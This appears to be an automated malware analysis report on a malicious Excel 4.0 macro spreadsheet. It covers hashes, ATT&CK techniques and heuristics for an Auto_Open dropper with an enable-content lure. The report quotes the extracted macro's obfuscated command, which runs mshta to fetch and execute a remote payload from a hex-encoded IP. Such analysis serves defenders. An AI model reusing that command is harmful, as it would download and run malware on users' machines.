Office (OLE) / .XLS malware analysis — malicious · b2767a7086ba25e3

MALICIOUS

Office (OLE) / .XLS

65.7 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: a5971d0d4e384076ace36570a89a1c4c SHA-1: 0daa3654f191e5007c4c0caa8ec0215d0b3d6adc SHA-256: b2767a7086ba25e349a4e48923389dcc95f338e46ba3bcf14f69fc141cf791eb

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an 'Enable Editing' and 'Enable Content' lure to trick the user into running malicious macros. The extracted XLM macro defines a string that is then executed as a command: 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html'. This command attempts to download and execute a payload from the specified URL. The macro sheet also contains an Auto_Open entry, indicating automatic execution upon opening.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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